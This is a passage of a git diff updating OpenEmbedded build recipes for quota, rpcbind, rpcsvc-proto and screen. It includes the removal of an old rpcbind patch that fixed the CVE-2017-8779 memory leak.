-Index: quota-tools/quot.h
-===================================================================
---- quota-tools.orig/quot.h
-+++ quota-tools/quot.h
-@@ -35,18 +35,18 @@
- #define SEC24HR (60*60*24) /* seconds per day */
-
- typedef struct {
-- __uint32_t id;
-+ uint32_t id;
- char name[UT_NAMESIZE + 1];
- } idcache_t;
-
- typedef struct du {
- struct du *next;
-- __uint64_t blocks;
-- __uint64_t blocks30;
-- __uint64_t blocks60;
-- __uint64_t blocks90;
-- __uint64_t nfiles;
-- __uint32_t id;
-+ uint64_t blocks;
-+ uint64_t blocks30;
-+ uint64_t blocks60;
-+ uint64_t blocks90;
-+ uint64_t nfiles;
-+ uint32_t id;
- } du_t;
-
- #define NDU 60000
-Index: quota-tools/rquota_server.c
-===================================================================
---- quota-tools.orig/rquota_server.c
-+++ quota-tools/rquota_server.c
-@@ -60,7 +60,7 @@ extern char nfs_pseudoroot[PATH_MAX];
- */
- extern struct authunix_parms *unix_cred;
-
--int in_group(gid_t * gids, u_int len, gid_t gid)
-+int in_group(gid_t * gids, uint32_t len, gid_t gid)
- {
- gid_t *gidsp = gids + len;
-
diff --git a/meta/recipes-extended/quota/quota/replace_getrpcbynumber_r.patch b/meta/recipes-extended/quota/quota/replace_getrpcbynumber_r.patch
deleted file mode 100644
index 4687ca06f5..0000000000
--- a/meta/recipes-extended/quota/quota/replace_getrpcbynumber_r.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From a3808fd165847298d025971eb3c7be7d11caba9d Mon Sep 17 00:00:00 2001
-From: "Maxin B. John" <maxin.john@intel.com>
-Date: Wed, 8 Nov 2017 11:56:55 +0200
-Subject: [PATCH] Replace getrpcbynumber_r with getrpcbynumber
-
-musl and uclibc dont implement it
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Maxin B. John <maxin.john@intel.com>
----
- svc_socket.c | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/svc_socket.c b/svc_socket.c
-index 8a44604..5bdaaa0 100644
---- a/svc_socket.c
-+++ b/svc_socket.c
-@@ -36,7 +36,8 @@ static int get_service_port(u_long number, const char *proto)
- struct servent servbuf, *servp = NULL;
- int ret;
-
-- ret = getrpcbynumber_r(number, &rpcbuf, rpcdata, sizeof(rpcdata), &rpcp);
-+ rpcp = getrpcbynumber(number);
-+ ret = 0;
- if (ret == 0 && rpcp != NULL) {
- /* First try name */
- ret = getservbyname_r(rpcp->r_name, proto, &servbuf, servdata,
---
-2.4.0
-
diff --git a/meta/recipes-extended/quota/quota_4.04.bb b/meta/recipes-extended/quota/quota_4.09.bb
index 93f376286a..b779657dfc 100644
--- a/meta/recipes-extended/quota/quota_4.04.bb
+++ b/meta/recipes-extended/quota/quota_4.09.bb
@@ -1,20 +1,16 @@
SUMMARY = "Tools for monitoring & limiting user disk usage per filesystem"
SECTION = "base"
HOMEPAGE = "http://sourceforge.net/projects/linuxquota/"
+DESCRIPTION = "Tools and patches for the Linux Diskquota system as part of the Linux kernel"
BUGTRACKER = "http://sourceforge.net/tracker/?group_id=18136&atid=118136"
-LICENSE = "BSD & GPLv2+ & LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://quota.c;beginline=1;endline=33;md5=331c7d77744bfe0ad24027f0651028ec \
- file://rquota_server.c;beginline=1;endline=20;md5=fe7e0d7e11c6f820f8fa62a5af71230f \
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://rquota_server.c;beginline=1;endline=20;md5=fe7e0d7e11c6f820f8fa62a5af71230f \
file://svc_socket.c;beginline=1;endline=17;md5=24d5a8792da45910786eeac750be8ceb"
SRC_URI = "${SOURCEFORGE_MIRROR}/project/linuxquota/quota-tools/${PV}/quota-${PV}.tar.gz \
file://fcntl.patch \
- file://remove_non_posix_types.patch \
- "
-SRC_URI_append_libc-musl = " file://replace_getrpcbynumber_r.patch"
-
-SRC_URI[md5sum] = "f46f3b0b5141f032f25684005dac49d3"
-SRC_URI[sha256sum] = "735be1887e7f51f54165e778ae43fc859c04e44d88834ecb2f470e91d4ef8edf"
+ "
+SRC_URI[sha256sum] = "9cdaca154bc92afc3117f0e5f5b3208dd5f84583af1cf061c39baa0a2bb142f9"
CVE_PRODUCT = "linux_diskquota"
@@ -30,7 +26,7 @@ LDFLAGS += "${@bb.utils.contains('PACKAGECONFIG', 'rpc', '-ltirpc', '', d)}"
ASNEEDED = ""
PACKAGECONFIG ??= "tcp-wrappers rpc bsd"
-PACKAGECONFIG_libc-musl = "tcp-wrappers rpc"
+PACKAGECONFIG:libc-musl = "tcp-wrappers rpc"
PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
PACKAGECONFIG[rpc] = "--enable-rpc,--disable-rpc,libtirpc"
diff --git a/meta/recipes-extended/rpcbind/rpcbind/0001-rpcbind-pair-all-svc_getargs-calls-with-svc_freeargs.patch b/meta/recipes-extended/rpcbind/rpcbind/0001-rpcbind-pair-all-svc_getargs-calls-with-svc_freeargs.patch
deleted file mode 100644
index bf7aaef5a9..0000000000
--- a/meta/recipes-extended/rpcbind/rpcbind/0001-rpcbind-pair-all-svc_getargs-calls-with-svc_freeargs.patch
+++ /dev/null
@@ -1,221 +0,0 @@
-From 7ea36eeece56b59f98e469934e4c20b4da043346 Mon Sep 17 00:00:00 2001
-From: Doran Moppert <dmoppert@redhat.com>
-Date: Thu, 11 May 2017 11:42:54 -0400
-Subject: [PATCH] rpcbind: pair all svc_getargs() calls with svc_freeargs() to
- avoid memory leak
-
-This patch is to address CVE-2017-8779 "rpcbomb" in rpcbind, discussed
-at [1], [2], [3]. The last link suggests this issue is actually a bug
-in rpcbind, which led me here.
-
-The leak caused by the reproducer at [4] appears to come from
-rpcb_service_4(), in the case where svc_getargs() returns false and the
-function had an early return, rather than passing through the cleanup
-path at done:, as would otherwise occur.
-
-It also addresses a couple of other locations where the same fault seems
-to exist, though I haven't been able to exercise those. I hope someone
-more intimate with rpc(3) can confirm my understanding is correct, and
-that I haven't introduced any new bugs.
-
-Without this patch, using the reproducer (and variants) repeatedly
-against rpcbind with a numBytes argument of 1_000_000_000, /proc/$(pidof
-rpcbind)/status reports VmSize increase of 976564 kB each call, and
-VmRSS increase of around 260 kB every 33 calls - the specific numbers
-are probably an artifact of my rhel/glibc version. With the patch,
-there is a small (~50 kB) VmSize increase with the first message, but
-thereafter both VmSize and VmRSS remain steady.
-
-[1]: http://seclists.org/oss-sec/2017/q2/209
-[2]: https://bugzilla.redhat.com/show_bug.cgi?id=1448124
-[3]: https://sourceware.org/ml/libc-alpha/2017-05/msg00129.html
-[4]: https://github.com/guidovranken/rpcbomb/
-
-
-CVE: CVE-2017-8779
-Upstream-Status: Backport
-
-Signed-off-by: Fan Xin <fan.xin@jp.fujitsu.com>
----
- src/pmap_svc.c | 56 +++++++++++++++++++++++++++++++++++++++++++++---------
- src/rpcb_svc.c | 2 +-
- src/rpcb_svc_4.c | 2 +-
- src/rpcb_svc_com.c | 8 ++++++++
- 4 files changed, 57 insertions(+), 11 deletions(-)
-
-diff --git a/src/pmap_svc.c b/src/pmap_svc.c
-index 4c744fe..e926cdc 100644
---- a/src/pmap_svc.c
-+++ b/src/pmap_svc.c
-@@ -175,6 +175,7 @@ pmapproc_change(struct svc_req *rqstp /*__unused*/, SVCXPRT *xprt, unsigned long
- long ans;
- uid_t uid;
- char uidbuf[32];
-+ int rc = TRUE;
-
- /*
- * Can't use getpwnam here. We might end up calling ourselves
-@@ -194,7 +195,8 @@ pmapproc_change(struct svc_req *rqstp /*__unused*/, SVCXPRT *xprt, unsigned long
-
- if (!svc_getargs(xprt, (xdrproc_t) xdr_pmap, (char *)&reg)) {
- svcerr_decode(xprt);
-- return (FALSE);
-+ rc = FALSE;
-+ goto done;
- }
- #ifdef RPCBIND_DEBUG
- if (debugging)
-@@ -205,7 +207,8 @@ pmapproc_change(struct svc_req *rqstp /*__unused*/, SVCXPRT *xprt, unsigned long
-
- if (!check_access(xprt, op, reg.pm_prog, PMAPVERS)) {
- svcerr_weakauth(xprt);
-- return (FALSE);
-+ rc = (FALSE);
-+ goto done;
- }
-
- rpcbreg.r_prog = reg.pm_prog;
-@@ -258,7 +261,16 @@ done_change:
- rpcbs_set(RPCBVERS_2_STAT, ans);
- else
- rpcbs_unset(RPCBVERS_2_STAT, ans);
-- return (TRUE);
-+done:
-+ if (!svc_freeargs(xprt, (xdrproc_t) xdr_pmap, (char *)&reg)) {
-+ if (debugging) {
-+ /*(void) xlog(LOG_DEBUG, "unable to free arguments\n");*/
-+ if (doabort) {
-+ rpcbind_abort();
-+ }
-+ }
-+ }
-+ return (rc);
- }
-
- /* ARGSUSED */
-@@ -272,15 +284,18 @@ pmapproc_getport(struct svc_req *rqstp /*__unused*/, SVCXPRT *xprt)
- #ifdef RPCBIND_DEBUG
- char *uaddr;
- #endif
-+ int rc = TRUE;
-
- if (!svc_getargs(xprt, (xdrproc_t) xdr_pmap, (char *)&reg)) {
- svcerr_decode(xprt);
-- return (FALSE);
-+ rc = FALSE;
-+ goto done;
- }
-
- if (!check_access(xprt, PMAPPROC_GETPORT, reg.pm_prog, PMAPVERS)) {
- svcerr_weakauth(xprt);
-- return FALSE;
-+ rc = FALSE;
-+ goto done;
- }
-
- #ifdef RPCBIND_DEBUG
-@@ -330,21 +345,34 @@ pmapproc_getport(struct svc_req *rqstp /*__unused*/, SVCXPRT *xprt)
- pmap_ipprot2netid(reg.pm_prot) ?: "<unknown>",
- port ? udptrans : "");
-
-- return (TRUE);
-+done:
-+ if (!svc_freeargs(xprt, (xdrproc_t) xdr_pmap, (char *)&reg)) {
-+ if (debugging) {
-+ /* (void) xlog(LOG_DEBUG, "unable to free arguments\n");*/
-+ if (doabort) {
-+ rpcbind_abort();
-+ }
-+ }
-+ }
-+ return (rc);
- }
-
- /* ARGSUSED */
- static bool_t
- pmapproc_dump(struct svc_req *rqstp /*__unused*/, SVCXPRT *xprt)
- {
-+ int rc = TRUE;
-+
- if (!svc_getargs(xprt, (xdrproc_t)xdr_void, NULL)) {
- svcerr_decode(xprt);
-- return (FALSE);
-+ rc = FALSE;
-+ goto done;
- }
-
- if (!check_access(xprt, PMAPPROC_DUMP, 0, PMAPVERS)) {
- svcerr_weakauth(xprt);
-- return FALSE;
-+ rc = FALSE;
-+ goto done;
- }
-
- if ((!svc_sendreply(xprt, (xdrproc_t) xdr_pmaplist_ptr,
-@@ -354,7 +382,17 @@ pmapproc_dump(struct svc_req *rqstp /*__unused*/, SVCXPRT *xprt)
- rpcbind_abort();
- }
- }
-- return (TRUE);
-+
-+done:
-+ if (!svc_freeargs(xprt, (xdrproc_t) xdr_pmap, (char *)NULL)) {
-+ if (debugging) {
-+ /*(void) xlog(LOG_DEBUG, "unable to free arguments\n");*/
-+ if (doabort) {
-+ rpcbind_abort();
-+ }
-+ }
-+ }
-+ return (rc);
- }
-
- int pmap_netid2ipprot(const char *netid)
-diff --git a/src/rpcb_svc.c b/src/rpcb_svc.c
-index 709e3fb..091f530 100644
---- a/src/rpcb_svc.c
-+++ b/src/rpcb_svc.c
-@@ -166,7 +166,7 @@ rpcb_service_3(struct svc_req *rqstp, SVCXPRT *transp)
- svcerr_decode(transp);
- if (debugging)
- (void) xlog(LOG_DEBUG, "rpcbind: could not decode");
-- return;
-+ goto done;
- }
-
- if (rqstp->rq_proc == RPCBPROC_SET
-diff --git a/src/rpcb_svc_4.c b/src/rpcb_svc_4.c
-index 5094879..eebbbbe 100644
---- a/src/rpcb_svc_4.c
-+++ b/src/rpcb_svc_4.c
-@@ -218,7 +218,7 @@ rpcb_service_4(struct svc_req *rqstp, SVCXPRT *transp)
- svcerr_decode(transp);
- if (debugging)
- (void) xlog(LOG_DEBUG, "rpcbind: could not decode\n");
-- return;
-+ goto done;
- }
-
- if (rqstp->rq_proc == RPCBPROC_SET
-diff --git a/src/rpcb_svc_com.c b/src/rpcb_svc_com.c
-index 5862c26..cb63afd 100644
---- a/src/rpcb_svc_com.c
-+++ b/src/rpcb_svc_com.c
-@@ -927,6 +927,14 @@ error:
- if (call_msg.rm_xid != 0)
- (void) free_slot_by_xid(call_msg.rm_xid);
- out:
-+ if (!svc_freeargs(transp, (xdrproc_t) xdr_rmtcall_args, (char *) &a)) {
-+ if (debugging) {
-+ (void) xlog(LOG_DEBUG, "unable to free arguments\n");
-+ if (doabort) {
-+ rpcbind_abort();
-+ }
-+ }
-+ }
- if (local_uaddr)
- free(local_uaddr);
- if (buf_alloc)
---
-1.9.1
-
diff --git a/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch b/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch
new file mode 100644
index 0000000000..79dc96050e
--- /dev/null
+++ b/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch
@@ -0,0 +1,42 @@
+From da528d5d60137f13202102b53cf178aba45849a5 Mon Sep 17 00:00:00 2001
+From: Stefan Agner <stefan.agner@toradex.com>
+Date: Sun, 6 Oct 2019 00:05:54 +0200
+Subject: [PATCH] systemd: use EnvironmentFile
+
+Use OE specific environment file.
+
+Upstream-Status: Inappropriate [OE specific]
+Signed-off-by: Stefan Agner <stefan.agner@toradex.com>
+---
+ configure.ac | 2 ++
+ systemd/rpcbind.service.in | 2 +-
+ 2 files changed, 3 insertions(+), 1 deletion(-)
+
+diff --git a/configure.ac b/configure.ac
+index 2dd9471..47a46c0 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -69,5 +69,7 @@ AC_CHECK_HEADERS([nss.h rpcsvc/mount.h])
+ # 2 "evals" needed to expand variable names
+ AC_SUBST([_sbindir])
+ AC_CONFIG_COMMANDS_PRE([eval eval _sbindir=$sbindir])
++AC_SUBST([_sysconfdir])
++AC_CONFIG_COMMANDS_PRE([eval eval _sysconfdir=$sysconfdir])
+
+ AC_OUTPUT([Makefile systemd/rpcbind.service])
+diff --git a/systemd/rpcbind.service.in b/systemd/rpcbind.service.in
+index 7b1c74b..f45ee1e 100644
+--- a/systemd/rpcbind.service.in
++++ b/systemd/rpcbind.service.in
+@@ -11,7 +11,7 @@ Wants=rpcbind.target
+
+ [Service]
+ Type=notify
+-# distro can provide a drop-in adding EnvironmentFile=-/??? if needed.
++EnvironmentFile=-@_sysconfdir@/rpcbind.conf
+ ExecStart=@_sbindir@/rpcbind $RPCBIND_OPTIONS -w -f
+
+ [Install]
+--
+2.23.0
+
diff --git a/meta/recipes-extended/rpcbind/rpcbind/rpcbind.conf b/meta/recipes-extended/rpcbind/rpcbind/rpcbind.conf
index 2a4dfbcfbc..f423ac1788 100644
--- a/meta/recipes-extended/rpcbind/rpcbind/rpcbind.conf
+++ b/meta/recipes-extended/rpcbind/rpcbind/rpcbind.conf
@@ -1,3 +1,3 @@
# Optional arguments passed to rpcbind.
#
-RPCBIND_OPTS=""
+RPCBIND_OPTIONS=""
diff --git a/meta/recipes-extended/rpcbind/rpcbind/rpcbind.service b/meta/recipes-extended/rpcbind/rpcbind/rpcbind.service
deleted file mode 100644
index 9cdade4959..0000000000
--- a/meta/recipes-extended/rpcbind/rpcbind/rpcbind.service
+++ /dev/null
@@ -1,12 +0,0 @@
-[Unit]
-Description=RPC Bind Service
-Requires=rpcbind.socket
-
-[Service]
-Type=forking
-EnvironmentFile=-@SYSCONFDIR@/rpcbind.conf
-ExecStart=@SBINDIR@/rpcbind $RPCBIND_OPTS
-SuccessExitStatus=2
-
-[Install]
-Also=rpcbind.socket
diff --git a/meta/recipes-extended/rpcbind/rpcbind/rpcbind.socket b/meta/recipes-extended/rpcbind/rpcbind/rpcbind.socket
deleted file mode 100644
index d63c1d9720..0000000000
--- a/meta/recipes-extended/rpcbind/rpcbind/rpcbind.socket
+++ /dev/null
@@ -1,8 +0,0 @@
-[Unit]
-Description=RPCbind Server Activation Socket
-
-[Socket]
-ListenStream=/var/run/rpcbind.sock
-
-[Install]
-WantedBy=sockets.target
diff --git a/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch b/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch
new file mode 100644
index 0000000000..535f9ce20d
--- /dev/null
+++ b/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch
@@ -0,0 +1,130 @@
+From 76f8598fd20727908e760cbb497dd6a17eda4af5 Mon Sep 17 00:00:00 2001
+From: Roy Li <rongqing.li@windriver.com>
+Date: Wed, 17 Sep 2014 13:22:14 +0800
+Subject: [PATCH] add option to make users able to use fixed port number
+
+Upstream-Status: Submitted [https://sourceforge.net/p/rpcbind/discussion/716839/thread/32af721d/]
+
+Signed-off-by: Li Wang <li.wang@windriver.com>
+Signed-off-by: Roy Li <rongqing.li@windriver.com>
+Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
+---
+ man/rpcbind.8 | 4 +++-
+ src/rpcb_svc_com.c | 17 +++++++++++++++++
+ src/rpcbind.c | 8 ++++++--
+ 3 files changed, 26 insertions(+), 3 deletions(-)
+
+diff --git a/man/rpcbind.8 b/man/rpcbind.8
+index fbf0ace..66f7c08 100644
+--- a/man/rpcbind.8
++++ b/man/rpcbind.8
+@@ -11,7 +11,7 @@
+ .Nd universal addresses to RPC program number mapper
+ .Sh SYNOPSIS
+ .Nm
+-.Op Fl adhiLls
++.Op Fl adhpiLls
+ .Sh DESCRIPTION
+ The
+ .Nm
+@@ -96,6 +96,8 @@ will automatically add
+ and if IPv6 is enabled,
+ .Li ::1
+ to the list.
++.It Fl p
++Bind for fixed UDP port number
+ If no
+ .Fl h
+ option is specified,
+diff --git a/src/rpcb_svc_com.c b/src/rpcb_svc_com.c
+index 1743dad..07a1c75 100644
+--- a/src/rpcb_svc_com.c
++++ b/src/rpcb_svc_com.c
+@@ -48,6 +48,7 @@
+ #include <rpc/rpc.h>
+ #include <rpc/rpcb_prot.h>
+ #include <rpc/svc_dg.h>
++#include <rpc/rpc_com.h>
+ #include <netconfig.h>
+ #include <errno.h>
+ #include <syslog.h>
+@@ -497,6 +498,7 @@ xdr_opaque_parms(XDR *xdrs, struct r_rmtcall_args *cap)
+
+ static struct rmtcallfd_list *rmthead;
+ static struct rmtcallfd_list *rmttail;
++extern unsigned short fixed_port;
+
+ int
+ create_rmtcall_fd(struct netconfig *nconf)
+@@ -504,6 +506,8 @@ create_rmtcall_fd(struct netconfig *nconf)
+ int fd;
+ struct rmtcallfd_list *rmt;
+ SVCXPRT *xprt;
++ struct __rpc_sockinfo si;
++ struct t_bind taddr;
+
+ if ((fd = __rpc_nconf2fd(nconf)) == -1) {
+ if (debugging)
+@@ -512,6 +516,19 @@ create_rmtcall_fd(struct netconfig *nconf)
+ nconf->nc_device, errno);
+ return (-1);
+ }
++
++ if (fixed_port) {
++ __rpc_fd2sockinfo(fd, &si);
++ memset(&taddr, 0, sizeof(taddr));
++ taddr.addr.maxlen = taddr.addr.len = si.si_alen;
++ taddr.addr.buf = malloc(si.si_alen);
++ if (taddr.addr.buf == NULL) {
++ return -1;
++ }
++ *(unsigned short *)(&(taddr.addr.buf[0])) = si.si_af;
++ *(unsigned short *)(&(taddr.addr.buf[2])) = htons(fixed_port);
++ xprt = svc_tli_create(fd, nconf, &taddr, RPC_MAXDATASIZE, RPC_MAXDATASIZE);
++ } else
+ xprt = svc_tli_create(fd, 0, (struct t_bind *) 0, 0, 0);
+ if (xprt == NULL) {
+ if (debugging)
+diff --git a/src/rpcbind.c b/src/rpcbind.c
+index 25d8a90..36a95b9 100644
+--- a/src/rpcbind.c
++++ b/src/rpcbind.c
+@@ -111,6 +111,7 @@ int runasdaemon = 0;
+ int insecure = 0;
+ int oldstyle_local = 0;
+ int verboselog = 0;
++unsigned short fixed_port = 0;
+
+ char **hosts = NULL;
+ int nhosts = 0;
+@@ -884,7 +885,7 @@ parseargs(int argc, char *argv[])
+ {
+ int c;
+ oldstyle_local = 1;
+- while ((c = getopt(argc, argv, "adh:ilswf")) != -1) {
++ while ((c = getopt(argc, argv, "adh:p:ilswf")) != -1) {
+ switch (c) {
+ case 'a':
+ doabort = 1; /* when debugging, do an abort on */
+@@ -902,6 +903,9 @@ parseargs(int argc, char *argv[])
+ if (hosts[nhosts - 1] == NULL)
+ errx(1, "Out of memory");
+ break;
++ case 'p':
++ fixed_port = atoi(optarg);
++ break;
+ case 'i':
+ insecure = 1;
+ break;
+@@ -920,7 +924,7 @@ parseargs(int argc, char *argv[])
+ break;
+ #endif
+ default: /* error */
+- fprintf(stderr, "usage: rpcbind [-adhilswf]\n");
++ fprintf(stderr, "usage: rpcbind [-adhpilswf]\n");
+ exit (1);
+ }
+ }
+--
+2.25.1
+
diff --git a/meta/recipes-extended/rpcbind/rpcbind_0.2.4.bb b/meta/recipes-extended/rpcbind/rpcbind_1.2.6.bb
index 60e46edd53..dbd4d32e0a 100644
--- a/meta/recipes-extended/rpcbind/rpcbind_0.2.4.bb
+++ b/meta/recipes-extended/rpcbind/rpcbind_1.2.6.bb
@@ -6,21 +6,19 @@ HOMEPAGE = "http://sourceforge.net/projects/rpcbind/"
BUGTRACKER = "http://sourceforge.net/tracker/?group_id=201237&atid=976751"
DEPENDS = "libtirpc quota"
-LICENSE = "BSD"
+LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://COPYING;md5=b46486e4c4a416602693a711bb5bfa39 \
file://src/rpcinfo.c;beginline=1;endline=27;md5=f8a8cd2cb25ac5aa16767364fb0e3c24"
SRC_URI = "${SOURCEFORGE_MIRROR}/rpcbind/rpcbind-${PV}.tar.bz2 \
file://init.d \
file://rpcbind.conf \
- file://rpcbind.socket \
- file://rpcbind.service \
- file://0001-rpcbind-pair-all-svc_getargs-calls-with-svc_freeargs.patch \
+ file://rpcbind_add_option_to_fix_port_number.patch \
+ file://0001-systemd-use-EnvironmentFile.patch \
"
-SRC_URI[md5sum] = "cf10cd41ed8228fc54c316191c1f07fe"
-SRC_URI[sha256sum] = "074a9a530dc7c11e0d905aa59bcb0847c009313f02e98d3d798aa9568f414c66"
+SRC_URI[sha256sum] = "5613746489cae5ae23a443bb85c05a11741a5f12c8f55d2bb5e83b9defeee8de"
-inherit autotools update-rc.d systemd pkgconfig
+inherit autotools update-rc.d systemd pkgconfig update-alternatives
PACKAGECONFIG ??= "tcp-wrappers"
PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
@@ -28,36 +26,30 @@ PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
INITSCRIPT_NAME = "rpcbind"
INITSCRIPT_PARAMS = "start 12 2 3 4 5 . stop 60 0 1 6 ."
-SYSTEMD_SERVICE_${PN} = "rpcbind.service"
+SYSTEMD_SERVICE:${PN} = "rpcbind.service rpcbind.socket"
inherit useradd
USERADD_PACKAGES = "${PN}"
-USERADD_PARAM_${PN} = "--system --no-create-home --home-dir / \
+USERADD_PARAM:${PN} = "--system --no-create-home --home-dir / \
--shell /bin/false --user-group rpc"
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
-PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_unitdir}/system/, \
+PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_system_unitdir}/, \
--without-systemdsystemunitdir, \
systemd \
"
-EXTRA_OECONF += " --enable-warmstarts --with-rpcuser=rpc"
-
-do_install_append () {
- mv ${D}${bindir} ${D}${sbindir}
+EXTRA_OECONF += " --enable-warmstarts --with-rpcuser=rpc --with-statedir=${runtimedir}/rpcbind"
+do_install:append () {
install -d ${D}${sysconfdir}/init.d
sed -e 's,/etc/,${sysconfdir}/,g' \
-e 's,/sbin/,${sbindir}/,g' \
${WORKDIR}/init.d > ${D}${sysconfdir}/init.d/rpcbind
chmod 0755 ${D}${sysconfdir}/init.d/rpcbind
-
- install -m 0755 ${WORKDIR}/rpcbind.conf ${D}${sysconfdir}
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/rpcbind.socket ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/rpcbind.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SBINDIR@,${sbindir},g' \
- -e 's,@SYSCONFDIR@,${sysconfdir},g' \
- ${D}${systemd_unitdir}/system/rpcbind.service
+ install -m 0644 ${WORKDIR}/rpcbind.conf ${D}${sysconfdir}/rpcbind.conf
}
+
+ALTERNATIVE:${PN} = "rpcinfo"
+ALTERNATIVE_LINK_NAME[rpcinfo] = "${bindir}/rpcinfo"
diff --git a/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb b/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb
new file mode 100644
index 0000000000..20933153a3
--- /dev/null
+++ b/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb
@@ -0,0 +1,41 @@
+# Copyright (C) 2018 Khem Raj <raj.khem@gmail.com>
+# Released under the MIT license (see COPYING.MIT for the terms)
+
+SUMMARY = "rpcsvc protocol definitions from glibc"
+
+DESCRIPTION = "This package contains rpcsvc proto.x files from glibc, which are\
+missing in libtirpc. Additional it contains rpcgen, which is needed\
+to create header files and sources from protocol files.\
+This package is only needed, if glibc is installed without the\
+deprecated sunrpc functionality and libtirpc should replace it."
+
+HOMEPAGE = "https://github.com/thkukuk/rpcsvc-proto"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=0daaf958d5531ab86169ec6e275e1517"
+SECTION = "libs"
+DEPENDS += "rpcsvc-proto-native"
+
+PV = "1.4.4"
+
+SRCREV = "c65926005e50da02a4da3e26abc42eded36cd19d"
+
+SRC_URI = "git://github.com/thkukuk/${BPN};branch=master;protocol=https \
+ file://0001-Use-cross-compiled-rpcgen.patch \
+ "
+
+S = "${WORKDIR}/git"
+
+inherit autotools gettext
+
+EXTRA_OEMAKE:class-native = " -C rpcgen"
+
+do_configure:prepend() {
+ touch ${S}/ABOUT-NLS
+}
+
+do_install:append() {
+ # They come from quota recipe
+ rm -rf ${D}${includedir}/rpcsvc/rquota.[hx]
+}
+
+BBCLASSEXTEND += "native nativesdk"
diff --git a/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto/0001-Use-cross-compiled-rpcgen.patch b/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto/0001-Use-cross-compiled-rpcgen.patch
new file mode 100644
index 0000000000..8e459b5634
--- /dev/null
+++ b/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto/0001-Use-cross-compiled-rpcgen.patch
@@ -0,0 +1,20 @@
+From de9345207beb71e4d5b6b40b52cac4ebd2e3858c Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 27 Apr 2018 23:23:20 -0700
+Subject: [PATCH] Use cross compiled rpcgen
+
+Upstream-Status: Inappropriate [OE-Specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ rpcsvc/Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+--- a/rpcsvc/Makefile.am
++++ b/rpcsvc/Makefile.am
+@@ -12,4 +12,4 @@ nodist_rpcsvc_HEADERS = klm_prot.h nlm_p
+ nfs_prot.h rquota.h sm_inter.h
+
+ .x.h:
+- $(top_builddir)/rpcgen/rpcgen -h -o $@ $<
++ rpcgen -h -o $@ $<
diff --git a/meta/recipes-extended/screen/screen/0001-Remove-more-compatibility-stuff.patch b/meta/recipes-extended/screen/screen/0001-Remove-more-compatibility-stuff.patch
new file mode 100644
index 0000000000..1413724d07
--- /dev/null
+++ b/meta/recipes-extended/screen/screen/0001-Remove-more-compatibility-stuff.patch
@@ -0,0 +1,31 @@
+This fixes
+../screen-4.6.2/pty.c: In function 'OpenPTY':
+../screen-4.6.2/pty.c:328:7: warning: implicit declaration of function 'openpty'; did you mean 'openat'? [-Wimplicit-function-declaration]
+ if (openpty(&f, &s, TtyName, NULL, NULL) != 0)
+ ^~~~~~~
+
+Signed-off-by: Amadeusz Sławiński <amade@asmblr.net>
+Signed-off-by: Adrian Bunk <bunk@stusta.de>
+Upstream-Status: Backport
+
+---
+ pty.c | 6 +-----
+ 1 file changed, 1 insertion(+), 5 deletions(-)
+
+diff --git a/pty.c b/pty.c
+index 1c0660e..502338f 100644
+--- a/pty.c
++++ b/pty.c
+@@ -47,11 +47,7 @@
+ # include <sys/ttold.h>
+ #endif
+
+-#ifdef ISC
+-# include <sys/tty.h>
+-# include <sys/sioctl.h>
+-# include <sys/pty.h>
+-#endif
++#include <pty.h>
+
+ #ifdef sgi
+ # include <sys/sysmacros.h>
diff --git a/meta/recipes-extended/screen/screen/0001-configure.ac-fix-configure-failed-while-build-dir-ha.patch b/meta/recipes-extended/screen/screen/0001-configure.ac-fix-configure-failed-while-build-dir-ha.patch
deleted file mode 100644
index 1274b27940..0000000000
--- a/meta/recipes-extended/screen/screen/0001-configure.ac-fix-configure-failed-while-build-dir-ha.patch
+++ /dev/null
@@ -1,109 +0,0 @@
-From 4b258c5a9078f8df60684ab7536ce3a8ff207e08 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Thu, 12 Oct 2017 10:03:57 +0000
-Subject: [PATCH] configure.ac: fix configure failed while build dir contains "yes"
-
-While the name of build dir contains "yes", the AC_EGREP_CPP
-test always return true.
-
-We rarely use "yes;" to name build dir, so s/yes/yes;/g
-could fix the issue
-
-Upstream-Status: Accepted
-https://git.savannah.gnu.org/cgit/screen.git/commit/?h=screen-v4&id=8c2b4061d16756ee2ed37f08db063b8215656943
-
